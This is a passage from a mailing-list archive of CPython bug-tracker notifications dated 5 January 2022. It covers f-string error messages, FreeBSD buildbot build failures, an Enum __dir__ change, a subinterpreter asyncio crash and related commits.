5 06:29:25 2022 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 05 Jan 2022 11:29:25 +0000 Subject: [issue46260] Misleading SyntaxError on f-string In-Reply-To: <1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> Message-ID: <1641382165.52.0.35997828488.issue46260@roundup.psfhosted.org> Eric V. Smith added the comment: In fstring_find_expr, the code[0] that's checking for parens, braces, and brackets detects the closing paren without a matching open paren. The error message isn't incorrect: if you added a matching open paren the code would compile: >>> foo=lambda:0 >>> f'{foo()}' '0' So while the error might not be intuitive, it's not wrong. 0: https://github.com/python/cpython/blob/cae55542d23e606dde9819d5dadd7430085fcc77/Parser/string_parser.c#L664d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:30:34 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 05 Jan 2022 11:30:34 +0000 Subject: [issue45256] Remove the usage of the C stack in Python to Python calls In-Reply-To: <1632220919.85.0.309558064668.issue45256@roundup.psfhosted.org> Message-ID: <1641382234.16.0.359696002095.issue45256@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 332e6b972567debfa9d8f3f9a4a966c7ad15eec9 by Brandt Bucher in branch 'main': bpo-45256: Don't track the exact depth of each `InterpreterFrame` (GH-30372) https://github.com/python/cpython/commit/332e6b972567debfa9d8f3f9a4a966c7ad15eec9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:31:28 2022 From: report at bugs.python.org (Simon McVittie) Date: Wed, 05 Jan 2022 11:31:28 +0000 Subject: [issue43137] webbrowser to support "gio open " In-Reply-To: <1612527994.14.0.364284995735.issue43137@roundup.psfhosted.org> Message-ID: <1641382288.49.0.326628032955.issue43137@roundup.psfhosted.org> Simon McVittie added the comment: I've opened https://github.com/python/cpython/pull/30417, is that what you want? I am not a regular CPython developer, so I don't have a good way to assess which reviewers speak for the project and which reviewers are only offering a personal opinion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:51:13 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 11:51:13 +0000 Subject: [issue43137] webbrowser to support "gio open " In-Reply-To: <1612527994.14.0.364284995735.issue43137@roundup.psfhosted.org> Message-ID: <1641383473.78.0.0898766628191.issue43137@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: >> I am not a regular CPython developer, so I don't have a good way to assess which reviewers speak for the project and which reviewers are only offering a personal opinion. In this webpage (bpo) core developers have a little python logo close to their name (as myself). In GitHub, you can sometimes tell by hovering over the profile or checking the core dev log in the devguide: https://devguide.python.org/developers/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:53:30 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 11:53:30 +0000 Subject: [issue43137] webbrowser to support "gio open " In-Reply-To: <1612527994.14.0.364284995735.issue43137@roundup.psfhosted.org> Message-ID: <1641383610.98.0.355470236895.issue43137@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset dd50316e458d7c3284f8948b0606d8aa91ab855d by Simon McVittie in branch 'main': bpo-43137: Revert "webbrowser: Don't run gvfs-open on GNOME" (GH-30417) https://github.com/python/cpython/commit/dd50316e458d7c3284f8948b0606d8aa91ab855d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:54:53 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 11:54:53 +0000 Subject: [issue43137] webbrowser to support "gio open " In-Reply-To: <1612527994.14.0.364284995735.issue43137@roundup.psfhosted.org> Message-ID: <1641383693.28.0.677044414758.issue43137@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I am removing the "release blocker" tag. Simon, thanks a lot for both PRs. I am sorry that we needed to revert your original work, but unfortunately it was blocking a release and we are forced to act in this case. PLease, work together with Christian and Matthias to make a version of the patch that works in all supported platforms. ---------- priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 07:18:33 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 05 Jan 2022 12:18:33 +0000 Subject: [issue46148] Optimize pathlib In-Reply-To: <1640163600.5.0.408738563991.issue46148@roundup.psfhosted.org> Message-ID: <1641385113.79.0.728098617066.issue46148@roundup.psfhosted.org> Kumar Aditya added the comment: I am withdrawing this for now and since there is already a bpo for vectorcall I am closing this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 07:18:52 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 05 Jan 2022 12:18:52 +0000 Subject: [issue46148] Optimize pathlib In-Reply-To: <1640163600.5.0.408738563991.issue46148@roundup.psfhosted.org> Message-ID: <1641385132.86.0.333693732253.issue46148@roundup.psfhosted.org> Change by Kumar Aditya : ---------- resolution: -> postponed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 07:25:58 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 12:25:58 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641385558.09.0.970156871939.issue46236@roundup.psfhosted.org> miss-islington added the comment: New changeset 46e4c257e7c26c813620232135781e6c53fe8d4d by Inada Naoki in branch 'main': bpo-46236: Fix PyFunction_GetAnnotations() returned tuple. (GH-30409) https://github.com/python/cpython/commit/46e4c257e7c26c813620232135781e6c53fe8d4d ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 07:26:06 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 12:26:06 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641385566.25.0.260137659288.issue46236@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28624 pull_request: https://github.com/python/cpython/pull/30420 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 07:27:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 12:27:29 +0000 Subject: [issue46268] Buildbot failure for buildbot/AMD64 FreeBSD Non-Debug / Shared 3.x Message-ID: <1641385649.73.0.864941133479.issue46268@roundup.psfhosted.org> New submission from Nikita Sobolev : Log: ``` --- sharedmods --- LD_LIBRARY_PATH=/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build CC='cc -pthread' LDSHARED='cc -pthread -shared ' OPT='-g -O0 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ./setup.py build Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/./setup.py", line 49, in from distutils.command.build_ext import build_ext ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/command/build_ext.py", line 13, in from distutils.sysconfig import customize_compiler, get_python_version ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/sysconfig.py", line 53, in _config_vars = get_config_vars() ^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 621, in get_config_vars _init_posix(_CONFIG_VARS) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 482, in _init_posix _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ModuleNotFoundError: No module named '_sysconfigdata_d_freebsd14_x86_64-unknown-freebsd14' *** [sharedmods] Error code 1 make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build ``` Link: https://buildbot.python.org/all/#/builders/483/builds/1409 ---------- components: Build messages: 409760 nosy: sobolevn priority: normal severity: normal status: open title: Buildbot failure for buildbot/AMD64 FreeBSD Non-Debug / Shared 3.x type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 07:32:09 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 12:32:09 +0000 Subject: [issue46268] Buildbot failure for buildbot/AMD64 FreeBSD Non-Debug / Shared 3.x In-Reply-To: <1641385649.73.0.864941133479.issue46268@roundup.psfhosted.org> Message-ID: <1641385929.55.0.411998381769.issue46268@roundup.psfhosted.org> Nikita Sobolev added the comment: It also generates several warnings: ``` Python/pytime.c:297:10: warning: implicit conversion from 'long' to 'double' changes value from 9223372036854775807 to 9223372036854775808 [-Wimplicit-int-float-conversion] Python/pytime.c:352:14: warning: implicit conversion from 'long' to 'double' changes value from 9223372036854775807 to 9223372036854775808 [-Wimplicit-int-float-conversion] Python/pytime.c:507:10: warning: implicit conversion from 'long' to 'double' changes value from 9223372036854775807 to 9223372036854775808 [-Wimplicit-int-float-conversion] ./Modules/expat/xmlparse.c:3095:9: warning: code will never be executed [-Wunreachable-code] ./Modules/expat/xmlparse.c:3787:9: warning: code will never be executed [-Wunreachable-code] ./Modules/_threadmodule.c:1648:26: warning: implicit conversion from '_PyTime_t' (aka 'long') to 'double' changes value from 9223372036854775 to 9223372036854776 [-Wimplicit-int-float-conversion] 1 warning generated. /usr/include/netgraph/bluetooth/include/ng_btsocket.h:244:2: warning: "Make sure new member of socket address initialized" [-W#warnings] #warning "Make sure new member of socket address initialized" 1 warning generated. /usr/include/netgraph/bluetooth/include/ng_btsocket.h:244:2: warning: "Make sure new member of socket address initialized" [-W#warnings] #warning "Make sure new member of socket address initialized" 1 warning generated. ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:09:23 2022 From: report at bugs.python.org (Matt Delengowski) Date: Wed, 05 Jan 2022 13:09:23 +0000 Subject: [issue46260] Misleading SyntaxError on f-string In-Reply-To: <1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> Message-ID: <1641388163.63.0.929822325585.issue46260@roundup.psfhosted.org> Matt Delengowski added the comment: Hi Eric, I see what are you referring to. Like you said unintuitive but still correct. Do you think it would be worthwhile to change the order of the checking such that '}' is always first? Or could the same edge case still appear but just the other way around? Either way, thanks for looking into this and sorry for the trouble. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:12:26 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 13:12:26 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641388346.84.0.408909764622.issue46236@roundup.psfhosted.org> miss-islington added the comment: New changeset da8be157f4e275c4c32b9199f1466ed7e52f62cf by Miss Islington (bot) in branch '3.10': bpo-46236: Fix PyFunction_GetAnnotations() returned tuple. (GH-30409) https://github.com/python/cpython/commit/da8be157f4e275c4c32b9199f1466ed7e52f62cf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:12:40 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 13:12:40 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641388360.58.0.808335442066.issue46236@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:23:29 2022 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 05 Jan 2022 13:23:29 +0000 Subject: [issue46260] Misleading SyntaxError on f-string In-Reply-To: <1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> Message-ID: <1641389009.23.0.781843916896.issue46260@roundup.psfhosted.org> Eric V. Smith added the comment: No trouble. I'm glad to know it wasn't actually the same error as plain "foo)" (although the error message is the same). That would have concerned me. Changing the code so that it doesn't error out on the first problem it sees, but keeps looking for a different type of error and then maybe backtracks or re-parses would be a lot of work, and I think we'd just end up with a different class of errors. I'm going to close this. Maybe when/if we move f-strings to the real parser we can look at this issue again. ---------- resolution: -> later stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:27:12 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 13:27:12 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641389232.23.0.859207895674.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: I have backported the patch to all versions that receive regular fixes. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:27:31 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 13:27:31 +0000 Subject: [issue46268] Buildbot failure for buildbot/AMD64 FreeBSD Non-Debug / Shared 3.x In-Reply-To: <1641385649.73.0.864941133479.issue46268@roundup.psfhosted.org> Message-ID: <1641389251.44.0.743539669693.issue46268@roundup.psfhosted.org> Erlend E. Aasland added the comment: Duplicate of bpo-46263. ---------- nosy: +erlendaasland resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> FreeBSD buildbots cannot compile Python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:33:27 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 05 Jan 2022 13:33:27 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641389607.58.0.40673140928.issue46006@roundup.psfhosted.org> Petr Viktorin added the comment: > Personally, I'd rather we not revert the original change. Even in 3.10? Your PR looks pretty heavy for a bugfix release, and won't apply cleanly to 3.10. > Moving the data to _PyRuntimeState would save me some effort with related work I'm doing right now. I guess that's what makes the PR hard to review. What's the plan (or are there more conflicting plans), and what's the state in 3.10 vs. main? ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:49:30 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 13:49:30 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641390570.41.0.970189851936.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: I closed the bug without intention to do so. Sorry for the noise. ---------- nosy: +erlendaasland resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 08:51:23 2022 From: report at bugs.python.org (Ronald Oussoren) Date: Wed, 05 Jan 2022 13:51:23 +0000 Subject: [issue46248] Compilation errors on macOS In-Reply-To: <1641238565.78.0.970913311215.issue46248@roundup.psfhosted.org> Message-ID: <1641390683.85.0.452309232633.issue46248@roundup.psfhosted.org> Ronald Oussoren added the comment: The libraries you mention are 3th party projects. Please check with the project first. I've look at the GitHub repository for libmobiledevice and have no idea how they determine the compiler flags for Python. As mentioned in an earlier version "python-config" is the documented way to fetch such flags. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:05:20 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 15:05:20 +0000 Subject: [issue46009] sending non-None values makes generator raise StopIteration on next access In-Reply-To: <1638914009.53.0.916939757704.issue46009@roundup.psfhosted.org> Message-ID: <1641395120.22.0.422681788355.issue46009@roundup.psfhosted.org> Christian Heimes added the comment: GH-30367 broke Emscripten WASM builds. I'm getting a "null function or function signature mismatch" error from the WASM engine: RuntimeError: null function or function signature mismatch at _PyEval_EvalFrameDefault (http://localhost:8000/python.wasm:wasm-function[2383]:0x103a6f) at gen_send_ex2 (http://localhost:8000/python.wasm:wasm-function[886]:0x4f35d) at gen_iternext (http://localhost:8000/python.wasm:wasm-function[893]:0x4fb1a) at builtin_any (http://localhost:8000/python.wasm:wasm-function[3927]:0x198a87) at cfunction_vectorcall_O (http://localhost:8000/python.wasm:wasm-function[403]:0x201ae) at PyObject_Vectorcall (http://localhost:8000/python.wasm:wasm-function[2426]:0x109dbe) at _PyEval_EvalFrameDefault (http://localhost:8000/python.wasm:wasm-function[2383]:0x1062ba) at _PyEval_Vector (http://localhost:8000/python.wasm:wasm-function[2380]:0xfc366) at PyEval_EvalCode (http://localhost:8000/python.wasm:wasm-function[2379]:0xfc014) at _PyConfig_InitPathConfig (http://localhost:8000/python.wasm:wasm-function[6871]:0x2924b0) I'm trying to get more debug information now. ---------- nosy: +christian.heimes resolution: fixed -> stage: resolved -> needs patch status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:15:11 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 15:15:11 +0000 Subject: [issue46269] '__new__' is never shown in `dir(SomeEnum)` Message-ID: <1641395711.58.0.712103911409.issue46269@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now `__new__` is marked to be special-cased in `Enum.__dir__`. It is generally ignored: But, (I think that was the original idea), when `__new__` is overridden, it should be added to the output. But, this line is problematic: https://github.com/python/cpython/blame/46e4c257e7c26c813620232135781e6c53fe8d4d/Lib/enum.py#L656 Why? Because `self.__new__` is always `EnumMeta.__new__`. Original `__new__` is renamed to `_new_member_`. This behavior is also not tested. So, my proposal is: let's always remove this method from `__dir__`. Why? - If we modify the check above to compare `_new_member_`, we will show `__new__` as the output. It is kinda misleading - `__new__` is not supposed to be overloaded in `EnumMeta`, it is very special - `__new__` is a very basic thing. It would be kinda strange not to see it for some cases, but to see it for others. For example, all (?) other data types always show `__new__`, even if it is not explicitly defined: ``` >>> class A: ... def __new__(*args, **kwargs): ... ... >>> assert '__new__' in dir(A) >>> class B: ... ... >>> assert '__new__' in dir(B) ``` I guess being consistent here (we don't show `__new__` at all times) is better. I will send a PR that removes these two lines in a moment! Any other ideas are much appreciated! Related: - https://bugs.python.org/issue45535 - https://github.com/python/cpython/pull/29316 ---------- components: Library (Lib) messages: 409771 nosy: AlexWaygood, ethan.furman, sobolevn priority: normal severity: normal status: open title: '__new__' is never shown in `dir(SomeEnum)` type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:17:14 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 15:17:14 +0000 Subject: [issue46269] '__new__' is never shown in `dir(SomeEnum)` In-Reply-To: <1641395711.58.0.712103911409.issue46269@roundup.psfhosted.org> Message-ID: <1641395834.33.0.994529093268.issue46269@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28625 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30421 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:20:00 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 15:20:00 +0000 Subject: [issue46070] _PyImport_FixupExtensionObject() regression causing a crash in subintepreters In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641396000.43.0.535777233368.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: I applied PR 30123 of bpo-46006: "./python bug.py" does still crash. So bpo-46006 is unrelated to this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:27:39 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Wed, 05 Jan 2022 15:27:39 +0000 Subject: [issue46148] Optimize pathlib In-Reply-To: <1640163600.5.0.408738563991.issue46148@roundup.psfhosted.org> Message-ID: <1641396459.13.0.568568221736.issue46148@roundup.psfhosted.org> ?ric Araujo added the comment: A note about benchmarks: I think timeit is not the right tool for them, but https://github.com/python/pyperformance is ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:27:59 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 15:27:59 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641396479.77.0.12694834412.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: FWIW: from test_embed.test_init_setpythonhome: if not config['executable']: config['use_frozen_modules'] = -1 >From the buildbot test stdout (and pythoninfo) I see that config["executable"] is set to "". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:29:41 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 15:29:41 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641396581.86.0.404442942637.issue46263@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- Removed message: https://bugs.python.org/msg409774 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:29:52 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 15:29:52 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641396592.89.0.871348972941.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: FWIW: from test_embed.test_init_setpythonhome: if not config['executable']: config['use_frozen_modules'] = -1 >From the buildbot test stdout (but not pythoninfo) I see that config["executable"] is set to "". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:37:00 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 15:37:00 +0000 Subject: [issue46009] sending non-None values makes generator raise StopIteration on next access In-Reply-To: <1638914009.53.0.916939757704.issue46009@roundup.psfhosted.org> Message-ID: <1641397020.64.0.0317248578545.issue46009@roundup.psfhosted.org> Christian Heimes added the comment: I got more debug symbols: python.js:235 Uncaught RuntimeError: null function or function signature mismatch at _PyEval_EvalFrameDefault (ceval.c:4247) at _PyEval_EvalFrame (pycore_ceval.h:48) at gen_send_ex2 (genobject.c:219) at gen_iternext (genobject.c:583) at builtin_any (bltinmodule.c:384) at cfunction_vectorcall_O (methodobject.c:516) at _PyObject_VectorcallTstate.11 (pycore_call.h:89) at PyObject_Vectorcall (call.c:298) at _PyEval_EvalFrameDefault (ceval.c:4625) at _PyEval_EvalFrame.1 (pycore_ceval.h:48) The culprit is PyObject *next = (*Py_TYPE(iter)->tp_iternext)(iter); in the TARGET(FOR_ITER) target. An additional NULL check resolves the problem. index 953876f6226..390400b3246 100644 --- a/Python/ceval.c +++ b/Python/ceval.c @@ -4244,7 +4244,12 @@ _PyEval_EvalFrameDefault(PyThreadState *tstate, InterpreterFrame *frame, int thr PREDICTED(FOR_ITER); /* before: [iter]; after: [iter, iter()] *or* [] */ PyObject *iter = TOP(); - PyObject *next = (*Py_TYPE(iter)->tp_iternext)(iter); + PyObject *(*iternext)(PyObject *) = *Py_TYPE(iter)->tp_iternext; + if (iternext == NULL) { + PyErr_BadInternalCall(); + goto error; + } + PyObject *next = iternext(iter); if (next != NULL) { PUSH(next); PREDICT(STORE_FAST); ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:37:16 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 15:37:16 +0000 Subject: [issue46009] sending non-None values makes generator raise StopIteration on next access In-Reply-To: <1638914009.53.0.916939757704.issue46009@roundup.psfhosted.org> Message-ID: <1641397036.25.0.771057973927.issue46009@roundup.psfhosted.org> Change by Christian Heimes : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:39:19 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 15:39:19 +0000 Subject: [issue46257] Convert statistics sum of squares to a single pass algorithm In-Reply-To: <1641315845.19.0.562428388394.issue46257@roundup.psfhosted.org> Message-ID: <1641397159.31.0.0782107778379.issue46257@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 43aac29cbbb8a963a22c334b5b795d1e43417d6b by Raymond Hettinger in branch 'main': bpo-46257: Convert statistics._ss() to a single pass algorithm (GH-30403) https://github.com/python/cpython/commit/43aac29cbbb8a963a22c334b5b795d1e43417d6b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:39:37 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 15:39:37 +0000 Subject: [issue46257] Convert statistics sum of squares to a single pass algorithm In-Reply-To: <1641315845.19.0.562428388394.issue46257@roundup.psfhosted.org> Message-ID: <1641397177.21.0.655370940124.issue46257@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:48:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 15:48:54 +0000 Subject: [issue46070] _PyImport_FixupExtensionObject() regression causing a crash in subintepreters In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641397734.7.0.176331907332.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: bug.py: * Python 3.7 branch doesn't crash * Python 3.8 branch does crash So the regression was introduced in Python 3.8. git bisect points me to this change: --- commit 13915a3100608f011b29da2f3716c990f523b631 (refs/bisect/bad) Author: Miss Islington (bot) <31488909+miss-islington at users.noreply.github.com> Date: Mon Oct 7 09:38:00 2019 -0700 bpo-36356: Fix memory leak in _asynciomodule.c (GH-16598) (cherry picked from commit 321def805abc5b7c92c7e90ca90cb2434fdab855) Co-authored-by: Ben Harper --- Before this change, bug.py doesn't crash. With this change, bug.py does crash. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:51:32 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 05 Jan 2022 15:51:32 +0000 Subject: [issue44525] Implement CALL_FUNCTION adaptive interpreter optimizations In-Reply-To: <1624890138.2.0.824780513801.issue44525@roundup.psfhosted.org> Message-ID: <1641397892.6.0.710306061393.issue44525@roundup.psfhosted.org> Mark Shannon added the comment: See https://github.com/faster-cpython/ideas/discussions/210 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:55:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 15:55:28 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641398128.35.0.110650370152.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: _PyImport_FixupExtensionObject() regression causing a crash in subintepreters -> [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:57:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 15:57:15 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641398235.11.0.347341166962.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: > bpo-36356: Fix memory leak in _asynciomodule.c (GH-16598) Python 3.8.0 is the first Python version containing this change. So it looks like a Python 3.8 regression. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:02:13 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 16:02:13 +0000 Subject: [issue46009] sending non-None values makes generator raise StopIteration on next access In-Reply-To: <1638914009.53.0.916939757704.issue46009@roundup.psfhosted.org> Message-ID: <1641398533.61.0.670959436483.issue46009@roundup.psfhosted.org> Christian Heimes added the comment: False alarm ... the frozen files for getpath.py were out of date. I can no longer reproduce the issue after a hard git clean and rebuild. ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:11:18 2022 From: report at bugs.python.org (Jan) Date: Wed, 05 Jan 2022 16:11:18 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 Message-ID: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> New submission from Jan : In chapter 5.7 in the official Python tutorial (see: https://docs.python.org/3/tutorial/datastructures.html), there is the following paragraph: "The comparison operators in and not in check whether a value occurs (does not occur) in a sequence. The operators is and is not compare whether two objects are really the same object. All comparison operators have the same priority, which is lower than that of all numerical operators." I believe that "in" and "not in" are rather membership operators than comparison operators. I think a differentiation of operator types in one or two sentences would be helpful. ---------- assignee: docs at python components: Documentation messages: 409782 nosy: docs at python, realjanpaulus priority: normal severity: normal status: open title: Comparison operators in Python Tutorial 5.7 type: enhancement versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:26:22 2022 From: report at 